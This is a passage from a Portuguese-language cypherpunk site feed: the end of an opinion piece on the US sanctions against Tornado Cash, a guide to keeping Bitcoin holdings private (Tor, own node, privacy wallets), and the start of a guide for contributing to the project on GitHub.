&lt;p>Qualquer interação com os endereços &lt;a href="https://www.youtube.com/watch?v=XpTrCA3tEKM&amp;amp;t=172s" target="_blank" rel="noopener noreferrer">seria considerada&lt;/a>
um ato criminoso sob &lt;a href="https://en.wikipedia.org/wiki/Strict_liability" target="_blank" rel="noopener noreferrer">responsabilidade objetiva&lt;/a>
, o que significa que um promotor não precisa provar a intenção, ou mesmo o conhecimento das sanções, para que um usuário seja culpado.&lt;/p>
&lt;p>O Tesouro &lt;a href="https://twitter.com/BowTiedIguana/status/1556683136280408064" target="_blank" rel="noopener noreferrer">define&lt;/a>
seus &lt;em>“Nacionais Especialmente Designados” como: “uma lista de indivíduos e empresas pertencentes ou controladas por, ou agindo para ou em nome de países-alvo. Também lista indivíduos, grupos e entidades, como terroristas e narcotraficantes designados em programas que não são específicos de cada país”.&lt;/em>&lt;/p>
&lt;p>Como essa definição deixa claro, o Tesouro está usando o Tornado Cash como um alvo de proxy para qualquer organização ou indivíduo que se encaixe na descrição do OFAC e criminaliza qualquer usuário que busque privacidade por razões perfeitamente legítimas no processo.&lt;/p>
&lt;p>E como mostra o &lt;a href="https://home.treasury.gov/policy-issues/financial-sanctions/specially-designated-nationals-and-blocked-persons-list-sdn-human-readable-lists" target="_blank" rel="noopener noreferrer">gráfico&lt;/a>
a seguir, menos de 30% dos recursos depositados no protocolo vêm de fontes ilícitas.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/tornado-pie.webp" loading="lazy"
width="1200" height="675"
/>
&lt;/p>
&lt;p>&lt;strong>Esta é a primeira vez na história que um pedaço de código foi sancionado como se fosse uma pessoa ou uma organização.&lt;/strong>&lt;/p>
&lt;p>Ao apontar o dedo para &lt;em>inimigos publicamente aceitáveis&lt;/em>, como terroristas e barões da droga, muitos no mainstream podem ver isso como uma vitória contra a ilegalidade online.&lt;/p>
&lt;p>Em uma época em que atores malignos patrocinados pelo Estado não estão mais se escondendo nas sombras, é fácil para os reguladores reprimir ferramentas como o Tornado.&lt;/p>
&lt;p>Mas parece que aqueles que dão as ordens não entendem o que estão proibindo. O secretário de Estado dos EUA, Blinken, &lt;a href="https://twitter.com/LefterisJP/status/1556679380272877568" target="_blank" rel="noopener noreferrer">confundiu&lt;/a>
ontem o Tornado Cash com o próprio Grupo Lazarus:&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/tornado-tweet.webp" loading="lazy"
width="1075" height="468"
/>
&lt;/p>
&lt;p>&lt;strong>Essas são as pessoas que fazem as leis pelas quais muitos de nós devemos viver: incapazes (ou relutantes) de diferenciar pessoas e ferramentas, atores maliciosos de infraestrutura neutra.&lt;/strong>&lt;/p>
&lt;p>&lt;em>Mas, embora sejam fáceis de zombar, essas justificativas para banir uma ferramenta neutra prejudicam a privacidade dos usuários regulares.&lt;/em>&lt;/p>
&lt;p>Em um sistema transparente, quem deseja quebrar a trilha entre os endereços tem duas opções, mixers não custodiais e &lt;a href="https://coinmarketcap.com/alexandria/glossary/centralized-exchange-cex" target="_blank" rel="noopener noreferrer">CEXs&lt;/a>
. E como vimos recentemente, confiar sua criptomoeda a um CEX está longe de ser uma alternativa sem riscos.&lt;/p>
&lt;p>&lt;strong>Existem &lt;a href="https://twitter.com/RezaJafery/status/1556751888896258049" target="_blank" rel="noopener noreferrer">muitas razões legítimas&lt;/a>
para usar um serviço como o Tornado Cash, mas, em última análise, a privacidade é um direito humano, e isso não deveria ser suficiente?&lt;/strong>&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/tornado-linebreak.webp" loading="lazy"
width="1200" height="112"
/>
&lt;/p>
&lt;p>&lt;strong>O anúncio traz muitas questões anteriormente teóricas para o centro do palco.&lt;/strong>&lt;/p>
&lt;p>&lt;em>Todos os endereços que já interagiram com os contratos serão afetados? O TVL de US$ 437 milhões está efetivamente preso nos contratos? Aqueles que doaram via GitCoin agora são criminosos?&lt;/em>&lt;/p>
&lt;p>&lt;strong>O descuido com que o OFAC executou a sanção deixou muito a ser esclarecido.&lt;/strong>&lt;/p>
&lt;p>Os endereços afetados foram copiados cegamente das &lt;a href="https://etherscan.io/accounts/label/tornado-cash" target="_blank" rel="noopener noreferrer">tags Etherscan&lt;/a>
, incluindo seu endereço de doação GitCoin, e incluem apenas os contratos da rede principal, apesar do Tornado Cash estar ativo no BSC, Arbitrum e Optimism.&lt;/p>
&lt;p>O que acontecerá com os endereços (&lt;a href="https://dune.com/lewi/salted-eth" target="_blank" rel="noopener noreferrer">mais de 400&lt;/a>
e contando) contaminados por fundos dos contratos proibidos? Os endereços doxxed verão suas contas &lt;a href="https://etherscan.io/address/0x12d66f87a04a9e220743712ce6d9bb1b5616b8fc#internaltx" target="_blank" rel="noopener noreferrer">&amp;lsquo;salgadas&amp;rsquo;&lt;/a>
ou campanhas de extorsão surgirão daqueles com fundos &amp;lsquo;sujos&amp;rsquo;?&lt;/p>
&lt;p>E isso vai parar em endereços individuais? E quanto à &lt;em>pools&lt;/em> inteiras? Protocolos? Eles também podem ser contaminados com todas as interações subsequentes marcadas com o mesmo pincel?&lt;/p>
&lt;p>Os impactos da sanção foram sentidos imediatamente, pois o GitHub, de &lt;a href="https://techcrunch.com/2018/06/04/microsoft-has-acquired-github-for-7-5b-in-microsoft-stock/" target="_blank" rel="noopener noreferrer">propriedade da Microsoft&lt;/a>
, baniu rapidamente todo o &lt;a href="https://github.com/tornadocash" target="_blank" rel="noopener noreferrer">repositório&lt;/a>
Tornado Cash e &lt;a href="https://twitter.com/semenov_roman_/status/1556717890308653059" target="_blank" rel="noopener noreferrer">excluiu contas&lt;/a>
de seus contribuidores, e até o GitCoin &lt;a href="https://twitter.com/gitcoin/status/1556710551803281410" target="_blank" rel="noopener noreferrer">suspendeu&lt;/a>
a concessão do projeto.
Escolha privacidade enquanto ainda é uma opção.
Foi menos surpreendente ver que a Circle foi rápida em entrar na linha, &lt;a href="https://twitter.com/bantg/status/1556712790894706688" target="_blank" rel="noopener noreferrer">congelando&lt;/a>
os ~ $75k USDC que estavam nos contratos da Tornado, além dos $150 doados via GitCoin, apesar de ter &lt;a href="https://twitter.com/jerallaire/status/1542525419118657537" target="_blank" rel="noopener noreferrer">prometido anteriormente&lt;/a>
“lutar legalmente” contra a lista negra geral.&lt;/p>
&lt;p>&lt;em>Tememos o CBDC, mas talvez já esteja aqui…&lt;/em>&lt;/p>
&lt;p>Quanto tempo até que a Circle de repente decida que cada endereço deve ter &lt;a href="https://en.wikipedia.org/wiki/Know_your_customer" target="_blank" rel="noopener noreferrer">KYC&lt;/a>
antes de mover seus fundos?&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/tornado-linebreak.webp" loading="lazy"
width="1200" height="112"
/>
&lt;/p>
&lt;p>&lt;strong>A ordem estabelecida se comporta de modo a se proteger; ela deve destruir os sistemas que não compreende.&lt;/strong>&lt;/p>
&lt;p>Se queremos ficar à frente dos governos que estão correndo para proteger seus interesses, devemos agora agir para fortalecer os pontos fracos em nosso próprio sistema.&lt;/p>
&lt;p>&lt;strong>As ações de stablecoins centralizadas sob pressão governamental podem causar danos sem precedentes às finanças “descentralizadas”.&lt;/strong>&lt;/p>
&lt;p>Uma stablecoin descentralizada segura e um sistema anônimo seguro são as soluções óbvias para as ameaças que estamos enfrentando.&lt;/p>
&lt;p>No entanto, embora seja fácil ficar indignado com esse ataque ao anonimato, seria ingênuo pensar que podemos continuar a &lt;a href="https://twitter.com/davidgerard/status/1556740122934116354" target="_blank" rel="noopener noreferrer">codificar nosso caminho em torno das regras da sociedade&lt;/a>
.&lt;/p>
&lt;p>É claro que a criminalidade está presente nas criptomoedas, mas isso significa que, pela lógica do OFAC, também devemos proibir a internet e até mesmo o próprio dinheiro?&lt;/p>
&lt;p>Como uma comunidade, a criptomoeda deve priorizar a privacidade em vez de simplesmente lucrar, ou perder qualquer esperança de se tornar uma ferramenta para autonomia financeira e, em vez disso, se transformar na maior ferramenta de vigilância já criada.&lt;/p>
&lt;p>A exclusão de um sistema projetado para difamar, vigiar e controlar aqueles que ousam sair da linha não deve ser considerado crime por padrão.&lt;/p>
&lt;p>&lt;strong>Escolha privacidade enquanto ainda é uma opção.&lt;/strong>&lt;/p>
&lt;p>&lt;strong>&lt;a href="https://twitter.com/RektHQ/status/1555584960081321984" target="_blank" rel="noopener noreferrer">Está na hora de ir para a escuridão&amp;hellip;&lt;/a>
&lt;/strong>&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="REKT" src="https://cypherpunks.com.br/stuff/rekt-outline-conc.webp" loading="lazy"
width="509" height="168"
/>
&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://rekt.news/eye-of-the-storm/" target="_blank" rel="noopener noreferrer">The Eye of the Storm&lt;/a>
&lt;/p></content:encoded></item><item><title>HODL de Bitcoin com Privacidade</title><link>https://cypherpunks.com.br/documentos/hodl-privacidade/</link><pubDate>Tue, 12 Apr 2022 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/hodl-privacidade/</guid><description>As maneiras de interagir com o bitcoin estão melhorando com o tempo e as melhores maneiras de utilizar o bitcoin estão cada dia mais sofisticadas e fáceis de usar. Este guia tem como intenção ajudar você a se armar com as ferramentas para fazer seu HODL com privacidade.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Fork de HODL-privacy da 6102bitcoin, traduzido e alterado por bitdov
Revisado por: Matheus Bach
&lt;/code>&lt;/pre>&lt;h2 id="hodl-de-bitcoin-com-privacidade">HODL de Bitcoin com Privacidade&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#motiva%c3%a7%c3%a3o">Motivação&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#vazamentos-de-dados-potenciais">Vazamentos de dados potenciais&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#exchanges-de-bitcoin">Exchanges&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#exploradores-de-blocos">Exploradores de blocos&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#convers%c3%a3o-de-quantia-exata">Conversão de quantia exata&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#plugins-do-navegador">Plugins do navegador&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#software-de-hardwallet">Software de hardwallet&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#carteira-com-autentica%c3%a7%c3%a3o-2fa-por-e-mail">Carteira com autenticação 2FA por e-mail&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#download-de-bloco-limitado">Download de bloco limitado&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#http">HTTP&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#confirma%c3%a7%c3%b5es-por-e-mail">Confirmações por e-mail&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#v%c3%addeos-para-entender-sobre-privacidade-no-bitcoin">Vídeos de dicas de Privacidade no Bitcoin dos bitcoinheiros&lt;/a>
&lt;/li>
&lt;/ul>
&lt;p>&lt;img class="img-fluid" alt="media" src="https://cypherpunks.com.br/stuff/primeira_regra_bitcoin_privacidade.png" loading="lazy"
width="680" height="390"
/>
&lt;/p>
&lt;h2 id="motivação">Motivação&lt;/h2>
&lt;p>Já há algum tempo estou pensando sobre a privacidade no Bitcoin. Durante o mês de fevereiro de 2020 preparei &lt;a href="https://www.youtube.com/playlist?list=PLgcVYwONyxmhS94ynhdPIK6quG_OcprXf" target="_blank" rel="noopener noreferrer">vários vídeos sobre privacidade&lt;/a>
para compartilhar o que eu sei até o momento e ajudar os bitcoinheiros a entenderem melhor quais são realmente as implicações de privacidade, quem são nossos adversários, o que devemos fazer para não vincular nossas informações pessoais com endereços de bitcoin e como evitar que terceiros nos monitorem. É um assunto que me intriga bastante e não poderia ser diferente - sou um pseudônimo que usa um &lt;a href="https://www.youtube.com/playlist?list=PLgcVYwONyxmhrlSK1ykcCEb6oOeE3kS1c" target="_blank" rel="noopener noreferrer">rig de urso para se apresentar nas interwebs&lt;/a>
&lt;/p>
&lt;blockquote>
&lt;p>“A moda agora parece ser dizer que o Bitcoin é completamente transparente e ainda pior que o sistema bancário para a privacidade. Mas me responda o seguinte: &lt;strong>se eu sair na rua, trocar dinheiro por BTC e guardar esses satoshis na minha carteira privada, qual corporação vai saber quanto eu tenho?&lt;/strong>”&lt;/p>
&lt;/blockquote>
&lt;p>A resposta é que vai depender muito das ferramentas e serviços que você usar.&lt;/p>
&lt;ul>
&lt;li>Utilizando as melhores ferramentas do bitcoin &lt;strong>com cuidado&lt;/strong>, é &lt;strong>impossível&lt;/strong> que alguém saiba quanto bitcoin você tem.&lt;/li>
&lt;li>Utilizando as piores ferramentas (e geralmente as mais comuns) &lt;strong>sem cuidado&lt;/strong>, é &lt;strong>possível&lt;/strong> que um adversário motivado tenha uma boa ideia do seu saldo total com o tempo.&lt;/li>
&lt;/ul>
&lt;p>A maioria dos vazamentos de informação potenciais identificados não vinculam suas moedas diretamente com a sua pessoa física. Eles vinculam dados que podem ser vinculados a você (através do endereço IP, por exemplo). Geralmente é a combinação de várias fontes de dados que cria problemas, os famosos data points.&lt;/p>
&lt;p>&lt;strong>Não se desespere&lt;/strong>: As maneiras de interagir com o bitcoin estão melhorando com o tempo e as melhores maneiras de utilizar o bitcoin estão cada dia mais sofisticadas e fáceis de usar. Este guia tem como intenção ajudar você a se armar com as ferramentas para fazer seu HODL com privacidade.&lt;/p>
&lt;hr>
&lt;h2 id="vazamentos-de-dados-potenciais">Vazamentos de dados potenciais&lt;/h2>
&lt;p>Para cada vazamento de dado potencial identificado, listei:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Ato&lt;/strong>: Como você pode se expor e vazar dados acidentalmente&lt;/li>
&lt;li>&lt;strong>Dados vazados&lt;/strong>: Qual informação pode vazar e para quem&lt;/li>
&lt;li>&lt;strong>Como mitigar&lt;/strong>: Como você pode limitar/evitar o vazamento de dados&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h3 id="exchanges-de-bitcoin">Exchanges de Bitcoin&lt;/h3>
&lt;h4 id="ato">Ato:&lt;/h4>
&lt;p>Você cria uma conta em uma exchange e compra bitcoins se identificando totalmente, oferecendo todos os seus dados pessoais para aquela instituição.&lt;/p>
&lt;h4 id="dados-vazados">Dados vazados:&lt;/h4>
&lt;p>A empresa ou os indivíduos por trás da corretora coletam todas as informações sobre você e vinculam essas informações com seus endereços bitcoin. Algumas corretoras também colaboram com &lt;a href="https://www.youtube.com/watch?v=Si2UtIPYydE" target="_blank" rel="noopener noreferrer">empresas de espionagem na blockchain&lt;/a>
para seguir seus passos depois que você faz a compra e sempre que deposita nela. Todo esse compartilhamento de dados por si só, já é um grande risco para a segurança dos usuários dessas corretoras. Além disso, desde 1/Ago/2019 essa situação se agravou com a necessidade da corretora compartilhar dados sobre suas transações para a receita, aumentando ainda mais a superfície de ataque. Seus adversários potenciais são funcionários corruptos da exchange, da empresa de espionagem da blockchain, da receita e qualquer bandido que conseguir acesso ao banco de dados da exchange, da empresa de espionagem ou da receita. Ao coletar e armazenar essas informações sensíveis, todas as partes se transformam em alvo para bandidos em busca de informação. Esse é um problema que foi herdado do sistema bancário tradicional, mas que no caso das criptmoedas pode colocar a segurança do usuário em maior risco, especialmente aqueles mais obedientes que &amp;ldquo;não tem nada para esconder&amp;rdquo;.&lt;/p>
&lt;h4 id="como-mitigar">Como mitigar:&lt;/h4>
&lt;p>Lembre-se que sua privacidade está totalmente exposta nessas exchanges e que você deve atuar de acordo para fazer a sua segurança pessoal se adquirir fundos através dessas instituições de vigilância e controle. A melhor maneira de mitigar esse risco é votando com seu dinheiro: não comprando mais nessas exchanges enquanto não respeitarem você.&lt;/p>
&lt;p>Assista &lt;a href="https://www.youtube.com/watch?v=ixoN6IP-yq" target="_blank" rel="noopener noreferrer">Comprando bitcoins com privacidade&lt;/a>
e veja alternativas em nosso &lt;a href="https://bitcoinheiros.com/intro-bitcoin/#passo-9-comprando-privacidade" target="_blank" rel="noopener noreferrer">Guia de Introdução ao Bitcoin&lt;/a>
ou na tabela de exchanges &lt;a href="https://bitcoinheiros.com/kyc" target="_blank" rel="noopener noreferrer">KYC? Sai fora!&lt;/a>
&lt;/p>
&lt;p>Aprenda mais sobre &lt;a href="https://www.youtube.com/playlist?list=PLgcVYwONyxmgxF0k5qMR15Ym7Qo2Wkall" target="_blank" rel="noopener noreferrer">Coinjoin&lt;/a>
se já comprou na exchange com KYC/AML e quer usar com privacidade&lt;/p>
&lt;hr>
&lt;h3 id="exploradores-de-blocos">Exploradores de blocos&lt;/h3>
&lt;h4 id="ato-1">Ato:&lt;/h4>
&lt;p>Você usa um site explorador de blocos para verificar seus endereços, confirmar se recebeu pagamentos.&lt;/p>
&lt;h4 id="dados-vazados-1">Dados vazados:&lt;/h4>
&lt;p>A empresa ou o indivíduo por trás do explorador de blocos pode vincular qualquer informação que você inserir no site (como endereços de bitcoin ou id de transações) com seu endereço IP. Se você verifica se um endereço de bitcoin tem saldo nele, é um sinal fraco-médio de que é o seu endereço&amp;hellip; Se você verifica se um endereço de bitcoin tem saldo nele e ele recém recebeu bitcoin ou logo depois que você verificou ele recebeu bitcoin, esse é um sinal forte de que se trata de um endereço de bitcoin seu.&lt;/p>
&lt;h4 id="como-mitigar-1">Como mitigar:&lt;/h4>
&lt;p>Acesse os Block Explorers usando TOR. (como o &lt;a href="http://explorerzydxu5ecjrkwceayqybizmpjjznk5izmitf2modhcusuqlid.onion/" target="_blank" rel="noopener noreferrer">blockstream.info&lt;/a>
) ou rode seu próprio &lt;a href="https://github.com/janoside/btc-rpc-explorer" target="_blank" rel="noopener noreferrer">software de block explorer&lt;/a>
que puxa dados do seu full node privado e soberano.&lt;/p>
&lt;p>Veja este vídeo no canal dos bitcoinheiros: &lt;a href="https://www.youtube.com/watch?v=WpeXvjRW62c" target="_blank" rel="noopener noreferrer">Blockchain explorer é ruim para a privacidade&lt;/a>
&lt;/p>
&lt;hr>
&lt;h3 id="conversão-de-quantia-exata">Conversão de quantia exata&lt;/h3>
&lt;h4 id="ato-2">Ato:&lt;/h4>
&lt;p>Buscar ‘Quanto vale x.xxxxxxx BTC em R$’ (ou utlizar outras ferramentas de conversão na web).&lt;/p>
&lt;h4 id="dados-vazados-2">Dados vazados:&lt;/h4>
&lt;p>Se a quantia de bitcoin que você buscou fizer parte de um único UTXO e for um valor único, então o buscador ou site podem associar aquele endereço de IP com aquele valor cruzado na blockchain. Se o buscador for o Google, por exemplo, e você estiver conectado, eles podem até vincular aquele UTXO com você (eles têm quase todas as suas informações pessoais).&lt;/p>
&lt;h4 id="como-mitigar-2">Como mitigar:&lt;/h4>
&lt;p>Busque com o &lt;a href="http://3g2upl4pq6kufc4m.onion/" target="_blank" rel="noopener noreferrer">DuckDuckGo através do TOR&lt;/a>
| Busque com menos precisão x.xx BTC | Calcule manualmente&lt;/p>
&lt;hr>
&lt;h3 id="plugins-do-navegador">Plugins do navegador&lt;/h3>
&lt;h4 id="ato-3">Ato:&lt;/h4>
&lt;p>Você utiliza um plugin com acesso para todos os websites que você visita e faz alguma das coisas listadas acima ou mais.&lt;/p>
&lt;h4 id="dados-vazados-3">Dados vazados:&lt;/h4>
&lt;p>O desenvolvedor do plugin obtem uma cópia dos dados vazados acima (através de exploradores de blocos ou conversão de valores exatos). Além de outros comportamentos e sites relacionados com bitcoin que você visita.&lt;/p>
&lt;h4 id="como-mitigar-3">Como mitigar:&lt;/h4>
&lt;p>Evite plugins com acesso muito amplo do seu histórico de navegação | Utilize um navegador especial sem plugins (Tor Browser, por exemplo) quando fizer coisas relacionadas com bitcoin | Utilize o modo de navegação incógnito/privado para fazer coisas relacionadas com bitcoin sem cookies ou plugins.&lt;/p>
&lt;hr>
&lt;h3 id="software-de-hardwallet">Software de hardwallet&lt;/h3>
&lt;h4 id="ato-4">Ato:&lt;/h4>
&lt;p>Você utiliza a carteira/software fornecida pela fabricante da sua hardwallet.&lt;/p>
&lt;h4 id="dados-vazados-4">Dados vazados:&lt;/h4>
&lt;p>A maioria das hardwallets vem com um software/site que envia suas chaves públicas para os servidores da fabricante da hardware wallet. Isso significa que o fabricante da hardwallet pode vincular seu endereço IP com suas moedas. Se o fabricante da sua hardwallet requisitar que você tenha uma conta ou compartilhe outras informações pessoais, então ele também pode vincular esses dados com suas moedas.&lt;/p>
&lt;h4 id="como-mitigar-4">Como mitigar:&lt;/h4>
&lt;p>Utilize carteiras de bitcoin que não vazam dados sobre suas moedas, como por exemplo a carteira &lt;a href="https://electrum.org/#home" target="_blank" rel="noopener noreferrer">electrum&lt;/a>
com &lt;a href="https://github.com/chris-belcher/electrum-personal-server" target="_blank" rel="noopener noreferrer">electrum personal server&lt;/a>
ou a &lt;a href="https://wasabiwallet.io" target="_blank" rel="noopener noreferrer">wasabi wallet&lt;/a>
.&lt;/p>
&lt;p>Assista estes &lt;a href="https://www.youtube.com/playlist?list=PLgcVYwONyxmjZuXVmllvk1H5Yyb95u0X2" target="_blank" rel="noopener noreferrer">vídeos dos bitcoinheiros sobre a Electrum Wallet&lt;/a>
&lt;br>
Assista estes &lt;a href="https://www.youtube.com/playlist?list=PLgcVYwONyxmgLuVTL2BgUcS4Muh5Jgiuw" target="_blank" rel="noopener noreferrer">vídeos sobre a Wasabi Wallet&lt;/a>
&lt;/p>
&lt;hr>
&lt;h3 id="carteira-com-autenticação-2fa-por-e-mail">Carteira com autenticação 2FA por e-mail&lt;/h3>
&lt;h4 id="ato-5">Ato:&lt;/h4>
&lt;p>Você usa uma carteira com autenticação 2FA por e-mail que não está conectada exclusivamente com seu próprio node.&lt;/p>
&lt;h4 id="dados-vazados-5">Dados vazados:&lt;/h4>
&lt;p>Seu endereço de e-mail pode ser vinculado com suas moedas, porque a carteira vaza informação sobre suas moedas para o servidor do desenvolvedor da carteira junto com seu endereço IP (que pode ser loggado quando você forneceu seu endereço de e-mail).&lt;/p>
&lt;h4 id="como-mitigar-5">Como mitigar:&lt;/h4>
&lt;p>Evite autenticação 2FA por e-mail (opte por alternativas como o Google Authenticator sempre que possível) para carteiras de bitcoin e conecte sua carteira com seu próprio node.&lt;/p>
&lt;hr>
&lt;h3 id="download-de-bloco-limitado">Download de bloco limitado&lt;/h3>
&lt;h4 id="ato-6">Ato:&lt;/h4>
&lt;p>Você usa uma carteira light que tem regras de download de blocos pouco sofisticadas através da internet pública (clearnet).&lt;/p>
&lt;h4 id="dados-vazados-6">Dados vazados:&lt;/h4>
&lt;p>A maioria das carteiras light baixam apenas os blocos relevantes para suas transações, facilitando que adversários monitorando os blocos que você baixa (como seu provedor de internet) possam identificar os endereços em comum dentro daqueles blocos. Seu provedor pode então conectar seu ponto de conexão à internet / endereço IP com suas moedas.&lt;/p>
&lt;h4 id="como-mitigar-6">Como mitigar:&lt;/h4>
&lt;p>Utilize uma carteira que se conectar com seu full node (que baixa &lt;strong>todos os blocos&lt;/strong>, impedindo esse ataque) | Utilize uma carteira que preserva sua privacidade (como a &lt;a href="https://www.youtube.com/playlist?list=PLgcVYwONyxmgLuVTL2BgUcS4Muh5Jgiuw" target="_blank" rel="noopener noreferrer">wasabi wallet&lt;/a>
).&lt;/p>
&lt;hr>
&lt;h3 id="http">HTTP&lt;/h3>
&lt;h4 id="ato-7">Ato:&lt;/h4>
&lt;p>Você faz qualquer uma das coisas acima sem uma conexão criptografada com o servidor com o qual se comunica (como através do protocolo http).&lt;/p>
&lt;h4 id="dados-vazados-7">Dados vazados:&lt;/h4>
&lt;p>Seu provedor pode interceptar todos os dados vazados acima. Se estiver usando Tor, o exit relay também pode interceptar todos os dados.&lt;/p>
&lt;h4 id="como-mitigar-7">Como mitigar:&lt;/h4>
&lt;p>Conecter-se apenas através de HTTPS (busque pelo cadeado ao lado da URL). Existe um &lt;a href="https://www.eff.org/https-everywhere" target="_blank" rel="noopener noreferrer">plugin da EFF que força a usar https&lt;/a>
em todos os sites. Outro bom plugin deles é o &lt;a href="https://www.eff.org/privacybadger" target="_blank" rel="noopener noreferrer">Privacy Badger&lt;/a>
que bloqueia trackers que também podem comprometer sua privacidade.&lt;/p>
&lt;hr>
&lt;h3 id="confirmações-por-e-mail">Confirmações por e-mail&lt;/h3>
&lt;h4 id="ato-8">Ato:&lt;/h4>
&lt;p>Você compra mais BTC para seu HODL usando uma exchange online para enviar para um endereço de armazenamento cold que você já usou no passado.&lt;/p>
&lt;h4 id="dados-vazados-8">Dados vazados:&lt;/h4>
&lt;p>E-mails de confirmação confirmando o saque vazam o endereço para seu provedor de e-mail (como a Google/Microsoft). A corretora também pode vincular sua conta de e-mail (e outras informações que ela tenha) com aquele endereço.&lt;/p>
&lt;h4 id="como-mitigar-8">Como mitigar:&lt;/h4>
&lt;p>Desativar notificações se possível | Utilizar um e-mail dedicado que não esteja conectado com a sua identidade.&lt;/p>
&lt;p>Assista este vídeo sobre o risco da &lt;a href="https://www.youtube.com/watch?v=6-xD5fcX7MI" target="_blank" rel="noopener noreferrer">Reutilização de endereços&lt;/a>
para a privacidade&lt;br>
Veja como as exchanges podem &lt;a href="https://www.youtube.com/watch?v=Si2UtIPYydE" target="_blank" rel="noopener noreferrer">vazar seus dados para empresas de análise da Blockchain&lt;/a>
&lt;br>
Não se assuste, você ainda pode &lt;a href="https://www.youtube.com/watch?v=ixoN6IP-yq4" target="_blank" rel="noopener noreferrer">comprar bitcoins com privacidade&lt;/a>
&lt;/p>
&lt;hr>
&lt;h2 id="vídeos-para-entender-sobre-privacidade-no-bitcoin">Vídeos para entender sobre Privacidade no Bitcoin&lt;/h2>
&lt;p>Não deixe de assistir a nossa &lt;a href="https://www.youtube.com/playlist?list=PLgcVYwONyxmhS94ynhdPIK6quG_OcprXf" target="_blank" rel="noopener noreferrer">playlist de Privacidade no Bitcoin&lt;/a>
com diversos vídeos para você entender como melhorar a privacidade dos seus bitcoins.&lt;/p>
&lt;hr>
&lt;p>Fork do HODL-privacy mantido pelo &lt;a href="https://github.com/6102bitcoin" target="_blank" rel="noopener noreferrer">6102bitcoin&lt;/a>
&lt;br>
Traduzido e alterado para os &lt;a href="https://www.twitter.com/bitcoinheiros" target="_blank" rel="noopener noreferrer">bitcoinheiros&lt;/a>
por &lt;a href="https://www.twitter.com/bitdov" target="_blank" rel="noopener noreferrer">bitdov&lt;/a>
&lt;/p>
&lt;p>ISENÇÃO DE RESPONSABILIDADE:&lt;br>
Este guia foi preparado para fins meramente informativos/educativos.&lt;br>
NÃO é uma recomendação financeira nem de investimento.&lt;br>
Faça sua própria pesquisa e responsabilize-se por suas decisões.&lt;br>
Não nos responsabilizamos por ações executadas inspiradas neste guia.&lt;/p>
&lt;hr>
&lt;p>Fonte:
&lt;a href="https://bitcoinheiros.com/hodl-privacidade" target="_blank" rel="noopener noreferrer">Bitcoinheiros - HODL-privacidade&lt;/a>
&lt;a href="https://6102bitcoin.com/faq-hodl-privacy/" target="_blank" rel="noopener noreferrer">6102bitcoin - HODL-privacy&lt;/a>
&lt;/p></content:encoded></item><item><title>Faça Parte: Guia Para Colaboração</title><link>https://cypherpunks.com.br/documentos/contribuir-cypherpunksbr/</link><pubDate>Tue, 22 Mar 2022 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/contribuir-cypherpunksbr/</guid><description>Cypherpunks Brasil é um projeto voluntário que depende da contribuição de todos que desejam manter e crescer o projeto. Nesse guia apresentamos diversas formas de contribuir com o projeto.</description><content:encoded>&lt;h1 id="contribua-com-o-projeto">Contribua com o Projeto&lt;/h1>
&lt;p>Cypherpunks Brasil depende da contribuição voluntária de todos que desejam manter e crescer o projeto. Fizemos muito até aqui e queremos continuar. Nesse guia apresentamos diversas formas de contribuir com o projeto&lt;/p>
&lt;h2 id="como-ajudar-o-cypherpunks-brasil">Como ajudar o Cypherpunks Brasil?&lt;/h2>
&lt;h3 id="existem-diversas-formas-de-contribuir-vamos-listar-algumas">Existem diversas formas de contribuir. Vamos listar algumas:&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="#adicionando-novos-documentos">Adicionando novos Documentos&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#traduzindo-documentos-para-portugu%c3%aas-pt-br">Traduzindo Documentos para Português (pt-br)&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#revisando-e-corrigindo-documentos-traduzidos">Revisando e corrigindo Documentos já traduzidos&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#melhorando-nosso-site">Melhorando nosso site cypherpunks.com.br&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#crie-novos-projetos">Iniciando, liderando ou auxiliando a criação de novos projetos&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#espalhe-a-palavra">Divulgando o Cypherpunks Brasil&lt;/a>
&lt;/li>
&lt;/ul>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;hr>
&lt;h2 id="o-básico-de-contribuição-em-código-aberto-usando-github">O básico de contribuição em código aberto usando Github&lt;/h2>
&lt;p>No Github você só pode alterar projetos que você mesmo tenha criado, ou seja, somente os repositórios que estiverem em &lt;code>github.com/seu-nome-de-usuário/nome-do-seu-projeto&lt;/code> poderão ser alterados diretamente por você. De qualquer forma, isso não te impede de enviar contribuições para projetos criados por outras pessoas. Por exemplo, para contribuir com o nosso projeto, em vez de editar o repositório original &lt;code>github.com/cypherpunksbr/documentos&lt;/code>, você deve:&lt;/p>
&lt;ol>
&lt;li>Fazer uma cópia (Fork) desse repositório&lt;/li>
&lt;/ol>
&lt;ul>
